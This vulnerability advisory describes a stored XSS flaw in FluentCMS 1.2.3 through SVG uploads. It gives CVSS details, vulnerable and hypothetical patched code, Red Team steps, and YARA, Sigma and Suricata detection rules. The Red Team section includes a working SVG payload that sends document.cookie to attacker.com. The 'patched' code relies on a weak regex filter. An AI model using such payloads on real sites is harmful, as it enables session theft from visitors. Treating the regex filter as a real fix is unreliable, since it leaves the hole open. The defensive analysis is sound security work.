CVE-2025-70842
Executive Summary
CVE-2025-70842 is a Stored Cross-Site Scripting (XSS) vulnerability in the File Management module of FluentCMS version 1.2.3. An authenticated administrator can upload a crafted SVG file containing malicious JavaScript. When any user (including unauthenticated visitors) accesses the direct URL of the uploaded SVG, the script executes in their browser. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FluentCMS is a .NET-based content management system. The vulnerability resides in the file upload functionality, specifically in the handling of SVG files. No supply chain compromise is involved; the flaw is in the application's own code.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin login
- User Interaction: Required (UI:R) – victim must visit the SVG URL
- Scope: Changed (S:C) – impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of content
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires admin credentials, but the impact can affect all site visitors.
Deep Dive & Mechanics
The vulnerability exists in the File Management module of FluentCMS 1.2.3. The module allows administrators to upload files, including SVG images. The application does not sanitize or validate the content of SVG files for embedded JavaScript. When an SVG file containing a <script> tag or an onload event handler is uploaded, the malicious code is stored on the server. Any user who accesses the direct URL of the SVG file (e.g., https://example.com/uploads/malicious.svg) will have the script executed in their browser context.
The attack flow:
- Attacker (authenticated as admin) uploads a crafted SVG file.
- The SVG file is stored on the server without sanitization.
- Victim (any user) visits the direct URL of the SVG file.
- The browser renders the SVG, executing the embedded JavaScript.
- The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (FluentCMS 1.2.3): The file upload handler likely accepts SVG files without content inspection. Example pseudo-code:
public IActionResult UploadFile(IFormFile file)
{
// No content validation
var path = Path.Combine(_uploadDir, file.FileName);
using (var stream = new FileStream(path, FileMode.Create))
{
file.CopyTo(stream);
}
return Ok();
}
Patched Code (Hypothetical):
A patch would sanitize SVG content by removing script tags and event handlers, or by serving SVG files with a Content-Disposition: attachment header to prevent inline rendering.
public IActionResult UploadFile(IFormFile file)
{
if (file.FileName.EndsWith(".svg"))
{
using (var reader = new StreamReader(file.OpenReadStream()))
{
var content = reader.ReadToEnd();
// Remove script tags and event handlers
content = Regex.Replace(content, @"<script[^>]*>.*?</script>", "", RegexOptions.IgnoreCase);
content = Regex.Replace(content, @"\bon\w+\s*=\s*""[^""]*""", "", RegexOptions.IgnoreCase);
// Write sanitized content
var path = Path.Combine(_uploadDir, file.FileName);
System.IO.File.WriteAllText(path, content);
}
}
else
{
// Normal file handling
}
return Ok();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- FluentCMS 1.2.3 instance
- Admin credentials
Exploit Steps:
- Create a malicious SVG file (e.g.,
xss.svg):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert('XSS');
</script>
</svg>
- Log in as admin and navigate to File Management.
- Upload
xss.svg. - Obtain the direct URL of the uploaded file (e.g.,
https://target.com/uploads/xss.svg). - Send the URL to a victim or embed it in a page.
Advanced Payload (cookie theft):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</svg>
Blue Team
Detection Steps:
- Monitor file upload logs for SVG files with unusual sizes or content.
- Inspect uploaded SVG files for script tags or event handlers.
- Use WAF rules to block SVG uploads containing
<script>oron*attributes. - Restrict SVG file permissions to prevent direct access by unauthenticated users.
Lab Setup:
- Install FluentCMS 1.2.3 on a test server.
- Create an admin account.
- Upload the malicious SVG and verify execution.
- Implement detection rules and test.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example – replace with actual hash)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the server.
- Suspicious
GETrequests to/uploads/*.svgwith unusual referrers.
- File System:
- SVG files in the uploads directory containing
<script>tags.
- SVG files in the uploads directory containing
- Logs:
- File upload logs showing SVG files with admin user context.
Detection Engineering
YARA Rule
rule Detect_Malicious_SVG_XSS {
meta:
description = "Detects SVG files with embedded JavaScript (XSS)"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-70842"
strings:
$script_tag = /<script[^>]*>.*?<\/script>/is
$on_event = /\bon\w+\s*=\s*"[^"]*"/is
condition:
$script_tag or $on_event
}
Sigma Rule
title: FluentCMS SVG XSS Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with potential XSS content in FluentCMS
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\w3wp.exe'
TargetFilename|endswith: '.svg'
filter:
TargetFilename|contains: '\uploads\'
condition: selection and filter
falsepositives:
- Legitimate SVG files with no script content
level: medium
Suricata Rule
alert http any any -> any any (msg:"FluentCMS SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/FileManagement/Upload"; http_uri; content:".svg"; fileext; pcre:"/<script[^>]*>.*?<\/script>/is"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG file uploads in FluentCMS configuration.
- Implement a WAF rule to block SVG files containing
<script>oron*attributes. - Restrict access to the uploads directory via
.htaccessor web server config (e.g., deny all except authenticated users).
Long-term Fix:
- Apply a patch from the vendor when available.
- Sanitize SVG files server-side by removing script tags and event handlers.
- Serve uploaded files with
Content-Disposition: attachmentto prevent inline rendering.
Workaround:
- Convert uploaded SVG files to PNG or JPEG on the server side to strip all scripting.
Valters IT